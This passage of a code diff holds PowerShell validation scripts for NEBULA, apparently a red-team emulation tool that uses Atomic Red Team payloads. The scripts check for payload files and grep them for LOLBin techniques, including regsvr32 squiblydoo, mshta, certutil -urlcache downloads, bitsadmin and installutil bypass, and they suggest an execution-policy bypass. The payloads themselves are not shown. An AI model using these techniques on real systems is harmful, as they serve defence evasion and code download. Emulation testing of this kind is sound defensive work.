Test-FileExists -FilePath "examples\mshta_calc.hta" -Description "MSHTA calc payload"
|
||||
Test-FileExists -FilePath "examples\rundll32_calc.sct" -Description "Rundll32 SCT payload"
|
||||
Test-FileExists -FilePath "examples\rundll32_javascript.txt" -Description "Rundll32 reference"
|
||||
Test-FileExists -FilePath "examples\msbuild_inline_task.csproj" -Description "MSBuild project file"
|
||||
Test-FileExists -FilePath "examples\certutil_download.txt" -Description "CertUtil reference"
|
||||
Test-FileExists -FilePath "examples\bitsadmin_transfer.txt" -Description "BITSAdmin reference"
|
||||
Test-FileExists -FilePath "examples\installutil_bypass.txt" -Description "InstallUtil reference"
|
||||
Test-FileExists -FilePath "examples\README.md" -Description "Examples README"
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "═══════════════════════════════════════════════════════════" -ForegroundColor DarkGray
|
||||
Write-Host " Content Validation Tests" -ForegroundColor Cyan
|
||||
Write-Host "═══════════════════════════════════════════════════════════" -ForegroundColor DarkGray
|
||||
Write-Host ""
|
||||
|
||||
# Test that payloads contain expected content
|
||||
Test-FileContent -FilePath "examples\regsvr32_squiblydoo.sct" -SearchString "scriptlet" -Description "RegSvr32 contains scriptlet XML"
|
||||
Test-FileContent -FilePath "examples\mshta_calc.hta" -SearchString "calc\.exe" -Description "MSHTA contains calc.exe reference"
|
||||
Test-FileContent -FilePath "examples\rundll32_calc.sct" -SearchString "calc\.exe" -Description "Rundll32 contains calc.exe reference"
|
||||
Test-FileContent -FilePath "examples\msbuild_inline_task.csproj" -SearchString "CodeTaskFactory" -Description "MSBuild contains inline task"
|
||||
Test-FileContent -FilePath "examples\certutil_download.txt" -SearchString "certutil.*-urlcache" -Description "CertUtil contains -urlcache"
|
||||
Test-FileContent -FilePath "examples\bitsadmin_transfer.txt" -SearchString "bitsadmin" -Description "BITSAdmin contains bitsadmin command"
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "═══════════════════════════════════════════════════════════" -ForegroundColor DarkGray
|
||||
Write-Host " Attribution Tests" -ForegroundColor Cyan
|
||||
Write-Host "═══════════════════════════════════════════════════════════" -ForegroundColor DarkGray
|
||||
Write-Host ""
|
||||
|
||||
# Test that attribution is present
|
||||
Test-FileContent -FilePath "examples\README.md" -SearchString "Atomic Red Team" -Description "Examples README mentions Atomic Red Team"
|
||||
Test-FileContent -FilePath "examples\certutil_download.txt" -SearchString "Atomic Red Team" -Description "CertUtil reference contains attribution"
|
||||
Test-FileContent -FilePath "examples\bitsadmin_transfer.txt" -SearchString "Atomic Red Team" -Description "BITSAdmin reference contains attribution"
|
||||
Test-FileContent -FilePath "README.md" -SearchString "Atomic Red Team" -Description "Main README contains attribution"
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "═══════════════════════════════════════════════════════════" -ForegroundColor DarkGray
|
||||
Write-Host " Integration Tests" -ForegroundColor Cyan
|
||||
Write-Host "═══════════════════════════════════════════════════════════" -ForegroundColor DarkGray
|
||||
Write-Host ""
|
||||
|
||||
# Test that Nebula.ps1 references the new payloads
|
||||
Test-FileContent -FilePath "Nebula.ps1" -SearchString "regsvr32_squiblydoo\.sct" -Description "Nebula.ps1 uses regsvr32_squiblydoo.sct"
|
||||
Test-FileContent -FilePath "Nebula.ps1" -SearchString "mshta_calc\.hta" -Description "Nebula.ps1 uses mshta_calc.hta"
|
||||
Test-FileContent -FilePath "Nebula.ps1" -SearchString "rundll32_calc\.sct" -Description "Nebula.ps1 uses rundll32_calc.sct"
|
||||
Test-FileContent -FilePath "Nebula.ps1" -SearchString "msbuild_inline_task\.csproj" -Description "Nebula.ps1 uses msbuild_inline_task.csproj"
|
||||
Test-FileContent -FilePath "Nebula.ps1" -SearchString "certutil_download\.txt" -Description "Nebula.ps1 references certutil_download.txt"
|
||||
Test-FileContent -FilePath "Nebula.ps1" -SearchString "bitsadmin_transfer\.txt" -Description "Nebula.ps1 references bitsadmin_transfer.txt"
|
||||
Test-FileContent -FilePath "Nebula.ps1" -SearchString "installutil_bypass\.txt" -Description "Nebula.ps1 references installutil_bypass.txt"
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "═══════════════════════════════════════════════════════════" -ForegroundColor Cyan
|
||||
Write-Host " Test Summary" -ForegroundColor Yellow
|
||||
Write-Host "═══════════════════════════════════════════════════════════" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
Write-Host " Total Tests: " -NoNewline -ForegroundColor White
|
||||
Write-Host ($script:PassCount + $script:FailCount) -ForegroundColor Gray
|
||||
Write-Host " Passed: " -NoNewline -ForegroundColor White
|
||||
Write-Host $script:PassCount -ForegroundColor Green
|
||||
Write-Host " Failed: " -NoNewline -ForegroundColor White
|
||||
Write-Host $script:FailCount -ForegroundColor $(if ($script:FailCount -eq 0) { "Green" } else { "Red" })
|
||||
Write-Host ""
|
||||
|
||||
if ($script:FailCount -eq 0) {
|
||||
Write-Host " ✓ ALL TESTS PASSED!" -ForegroundColor Green
|
||||
Write-Host ""
|
||||
Write-Host " Atomic Red Team payloads are properly integrated." -ForegroundColor Cyan
|
||||
exit 0
|
||||
} else {
|
||||
Write-Host " ✗ SOME TESTS FAILED" -ForegroundColor Red
|
||||
Write-Host ""
|
||||
Write-Host " Please review the failures above." -ForegroundColor Yellow
|
||||
exit 1
|
||||
}
|
||||
|
||||
@@ -0,0 +1,158 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Validation script for NEBULA
|
||||
|
||||
.DESCRIPTION
|
||||
Tests that Nebula.ps1 loads correctly and validates basic functionality
|
||||
#>
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "╔════════════════════════════════════════╗" -ForegroundColor Cyan
|
||||
Write-Host "║ NEBULA Validation Test Suite ║" -ForegroundColor Cyan
|
||||
Write-Host "╚════════════════════════════════════════╝" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
$ErrorCount = 0
|
||||
$SuccessCount = 0
|
||||
|
||||
function Test-Function {
|
||||
param(
|
||||
[string]$TestName,
|
||||
[scriptblock]$TestBlock
|
||||
)
|
||||
|
||||
Write-Host "[TEST] $TestName... " -NoNewline -ForegroundColor Yellow
|
||||
|
||||
try {
|
||||
& $TestBlock
|
||||
Write-Host "PASS" -ForegroundColor Green
|
||||
$script:SuccessCount++
|
||||
return $true
|
||||
} catch {
|
||||
Write-Host "FAIL" -ForegroundColor Red
|
||||
Write-Host " Error: $($_.Exception.Message)" -ForegroundColor Red
|
||||
$script:ErrorCount++
|
||||
return $false
|
||||
}
|
||||
}
|
||||
|
||||
# Test 1: Script file exists
|
||||
Test-Function -TestName "Script file exists" -TestBlock {
|
||||
$scriptPath = Join-Path $PSScriptRoot "Nebula.ps1"
|
||||
if (-not (Test-Path $scriptPath)) {
|
||||
throw "Nebula.ps1 not found"
|
||||
}
|
||||
}
|
||||
|
||||
# Test 2: Script has valid PowerShell syntax
|
||||
Test-Function -TestName "Valid PowerShell syntax" -TestBlock {
|
||||
$scriptPath = Join-Path $PSScriptRoot "Nebula.ps1"
|
||||
$errors = $null
|
||||
$null = [System.Management.Automation.PSParser]::Tokenize((Get-Content $scriptPath -Raw), [ref]$errors)
|
||||
if ($errors.Count -gt 0) {
|
||||
throw "Syntax errors found: $($errors.Count)"
|
||||
}
|
||||
}
|
||||
|
||||
# Test 3: WMI availability
|
||||
Test-Function -TestName "WMI service available" -TestBlock {
|
||||
$wmi = Get-WmiObject -Class Win32_ComputerSystem -ErrorAction Stop
|
||||
if (-not $wmi) {
|
||||
throw "WMI not accessible"
|
||||
}
|
||||
}
|
||||
|
||||
# Test 4: COM object creation (WScript.Shell)
|
||||
Test-Function -TestName "WScript.Shell COM object" -TestBlock {
|
||||
$wshell = New-Object -ComObject WScript.Shell -ErrorAction Stop
|
||||
if (-not $wshell) {
|
||||
throw "Cannot create WScript.Shell"
|
||||
}
|
||||
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($wshell) | Out-Null
|
||||
}
|
||||
|
||||
# Test 5: COM object creation (Shell.Application)
|
||||
Test-Function -TestName "Shell.Application COM object" -TestBlock {
|
||||
$shell = New-Object -ComObject Shell.Application -ErrorAction Stop
|
||||
if (-not $shell) {
|
||||
throw "Cannot create Shell.Application"
|
||||
}
|
||||
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($shell) | Out-Null
|
||||
}
|
||||
|
||||
# Test 6: Win32_Process WMI class accessible
|
||||
Test-Function -TestName "Win32_Process WMI class" -TestBlock {
|
||||
$class = [wmiclass]"Win32_Process"
|
||||
if (-not $class) {
|
||||
throw "Cannot access Win32_Process class"
|
||||
}
|
||||
}
|
||||
|
||||
# Test 7: WMI namespace enumeration
|
||||
Test-Function -TestName "WMI namespace enumeration" -TestBlock {
|
||||
$namespaces = Get-WmiObject -Namespace "root" -Class __NAMESPACE -ErrorAction Stop
|
||||
if ($namespaces.Count -eq 0) {
|
||||
throw "No WMI namespaces found"
|
||||
}
|
||||
}
|
||||
|
||||
# Test 8: PowerShell execution policy check
|
||||
Test-Function -TestName "Execution policy check" -TestBlock {
|
||||
$policy = Get-ExecutionPolicy
|
||||
Write-Host " (Current: $policy) " -NoNewline -ForegroundColor Gray
|
||||
if ($policy -eq "Restricted") {
|
||||
Write-Host ""
|
||||
Write-Host " WARNING: Execution policy is Restricted. You may need to run:" -ForegroundColor Yellow
|
||||
Write-Host " Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
|
||||
# Test 9: Check if running with admin privileges
|
||||
Test-Function -TestName "Administrator check" -TestBlock {
|
||||
$isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
|
||||
Write-Host " (Admin: $isAdmin) " -NoNewline -ForegroundColor Gray
|
||||
if (-not $isAdmin) {
|
||||
Write-Host ""
|
||||
Write-Host " NOTE: Some techniques require administrator privileges" -ForegroundColor Cyan
|
||||
}
|
||||
}
|
||||
|
||||
# Test 10: Validate key functions are defined in script
|
||||
Test-Function -TestName "Script function definitions" -TestBlock {
|
||||
$scriptPath = Join-Path $PSScriptRoot "Nebula.ps1"
|
||||
$content = Get-Content $scriptPath -Raw
|
||||
|
||||
$requiredFunctions = @(
|
||||
"Show-Banner",
|
||||
"Show-MainMenu",
|
||||
"Show-WMIMenu",
|
||||
"Show-COMMenu",
|
||||
"Invoke-WMICalc",
|
||||
"Start-Nebula"
|
||||
)
|
||||
|
||||
foreach ($func in $requiredFunctions) {
|
||||
if ($content -notmatch "function $func") {
|
||||
throw "Function $func not found"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Summary
|
||||
Write-Host ""
|
||||
Write-Host "════════════════════════════════════════" -ForegroundColor Cyan
|
||||
Write-Host "Test Results:" -ForegroundColor White
|
||||
Write-Host " ✓ Passed: $SuccessCount" -ForegroundColor Green
|
||||
if ($ErrorCount -gt 0) {
|
||||
Write-Host " ✗ Failed: $ErrorCount" -ForegroundColor Red
|
||||
Write-Host ""
|
||||
Write-Host "Some tests failed. Please review the errors above." -ForegroundColor Red
|
||||
} else {
|
||||
Write-Host ""
|
||||
Write-Host "All tests passed! NEBULA is ready to use." -ForegroundColor Green
|
||||
Write-Host ""
|
||||
Write-Host "Run NEBULA with: .\Nebula.ps1" -ForegroundColor Cyan
|
||||
}
|
||||
Write-Host "════════════════════════════════════════" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
Reference in New Issue
Block a user